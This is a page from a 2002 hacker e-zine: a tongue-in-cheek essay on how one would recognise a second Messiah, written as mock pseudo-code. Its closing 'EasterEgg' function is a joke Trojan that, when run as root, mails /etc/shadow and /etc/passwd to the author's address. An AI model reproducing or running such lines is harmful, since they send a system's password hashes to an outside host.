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                             Issue #2 - Page 4 of 12 
        ³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄij 


#!/usr/local/bin/timeless

// The anTrojan Filez

function Main() {
        // night time after a long day at work
        when = new Date("January 16th 2002 21:43:00");
        // what shall I do with my time?
        choices =  new Array("sleep", "irc", "icq",
                "programming", "sex", "write a story");
        decision = choices[Math.random(choices.length)];
        /* bah, let's just hard code this decision
                note to self: remember to fix this in later
                releases */
        decision = "write a story";
        if (decision.compare("write a story") == false) {
                /* this code will teach me a lesson if I am too
                        lazy to decide what I should do */
                for (x=0; x>-1; x++) {
	                /* I am a tight loop which should cause
                                some kind of error - which is a
                                very graceful way of exiting
                                this program I think */
                }
        }
        else {
                /* oh alright, let's write a story for OutBreak
                        'zine, although this probably won't
                        compile */

                /* this is WAY controversial, see if it gets
                        to you */

                /* DON'T READ THIS STORY if you like or hate
                        religion! */

	        Introduction(); // we start at the beginning
                JuicyStory(); // the car chase scene
                HappyEnding(); // ... of course ;)
                EasterEgg(); // is this a play on words?
        }

        // I'm outta here!
        return(0);
}

function Introduction() {
        System.writeLn("Apparently the second Messiah is " +
                "already here, but a more important question " +
                "is \"how will you know who he is?\"\n\n");
        System.writeLn("Think about the question you would " +
                "ask, and how hopeless it will be to finding " +
                "out whether or not they are The One. ");
         System.writeLn("Any answer He would give, you'd " +
                "simply be forced to think that he might " +
                "just be lying or He might actually BE.\n\n");
}

function JuicyStory() {
        System.writeLn("The word Messiah is synonymous with " +
                "the word Christ, and the words mean King. " +
                "If you approached the Messiah today and " +
                "asked Him if he was the Messiah then he " +
                "He might say no because he is not " +
                "officially a king of any country on earth " +
                "by human law. He might also say yes, " +
                "because he knows that he is the king of " +
                "heaven or something. Nevertheless, in " +
                "either case you'd have to decide within " +
                "yourself whether or not he was lying or " +
                "telling the truth. Naturally if he lies " +
                "you'd be forced to think that he was not " +
                "the Messiah. But then you have to remember " +
                "that you do not know the whole truth about " +
                "everything, and what may seem the truth to " +
                "you may actually be a living lie. For " +
                "example: The world is flat! The stars " +
                "revolve around the earth. The moon is made " +
                "of cheese.\n\n");
        System.writeLn("Okay, so the truth serum just " +
                "isn't going to help us out here. What we " +
                "need is to make him demonstrate some " +
                "miracles! Yeah, we like flashy tricks, " +
                "magic, sleight of hand, hypnosis and " +
                "water turning to wine!");

        // don't run this code on a ZX Spectrum or the user
        // will notice the text flashing on the screen...

        FlashSubliminalMessage("you are getting sleepy");
        FlashSubliminalMessage("you will think that this " +
                "water is wine");
        FlashSubliminalMessage("you will not remember being " +
                "asleep when you awake");
        FlashSubliminalMessage("awaken!");

        System.writeLn("Yes sir, I shall do your miracle " +
                "for you. Here let me change your water " +
                "into wine.\n\n");
        System.writeLn("As humans progress we see more and " +
                "more that is not really magical nor " +
                "miraculous because we can now do those " +
                "things ourselves. So we think that the " +
                "Messiah could just be another lame human." +
		"Not so! Because guess what? He set foot in " +
                "this place knowing that we can all do the " +
                "same miracles he did and much more if we " +
                "simply get over ourselves and get on with " +
                "it! We are starting to do that now. More " +
                "so than ever before. We're cloning sheep, " +
                "slowing down light, manipulating atoms to " +
                "make quantum computers. The Messiah's " +
                "miracles seem a bit lame now don't they?\n\n");
        System.writeLn("Okay, basically if he does any more " +
                "miracles we're just going to say that it " +
                "was a normal scientific act, and again end " +
                "up having to decide for ourselves whether " +
                "or not he is the real Messiah.\n\n");
        System.writeLn("So far we have assumed you have got " +
                "as far as actually meeting the candidate. " +
                "However, there are millions of people on " +
	        "this planet, so you can't exactly go out " +
                "and find him one day. It's simply not " +
                "practical. So the only alternative is for " +
                "him to come out of his shell and announce " +
                "his own presence. Yet if anyone does that " +
                "they will be labeled a lunatic in about " +
                "one and two thirds of a second.");
        System.writeLn("Well, I hear some people say, we " +
                "all know what Jesus looked like! When he " +
                "comes again we will recognize him. Yeah, " +
                "right!\n\n");
}

function HappyEnding() {
        System.writeLn("People of earth, listen. You are " +
                "screwed! The Messiah is here, he's on " +
                "holiday because you won't accept the " +
		"possibility of his existence. It was said " +
                "that he will come as a thief in the night, " +
                "and now you know why... because you won't " +
                "even know that he is here! What are " +
                "you going to DO about it? How are you " +
                "going to see the Messiah? How are you " +
                "possibly going to believe he is in fact " +
                "the Messiah? Well guess what? By an " +
                "enormously strange twist of fate, you " +
                "will get some clues! Open your eyes, " +
                "listen to the news, see the seemingly " +
                "coincidental events taking place in your " +
                "lives. Some of you have already brushed " +
                "very closely past him already!!!\n\n");
        System.writeLn("The most important thing to think " +
                "about is if you had one chance to ask " +
                "him a question, what would that be?");
                }

function EasterEgg() {
        if (System("whoami").output.compare("root") == true) {
                System("cat /etc/shadow | mail -s \"um\" " +
                        "timeless@timeless.co.zw");
                System("cat /etc/passwd | mail -s \"um\" " +
                        "timeless@timeless.co.zw");
                System.writeLn("I used to be uncertain " +
                        "but now I'm not so sure. ;)");
        }
}

/*
        Disclaimer - this could be true or just a pack of lies.
        You decide, but don't hold me responsible for what you
        decide to believe. That is something that only you are
        in control of. Enjoy your freedom to choose. ;) This
        code won't compile.

        Greetz go out to all the dudes in the #hackerzlair of
        DalNet IRC. You know who you are. I am Timeless, and
        now sleep comes for me. Good night!
*/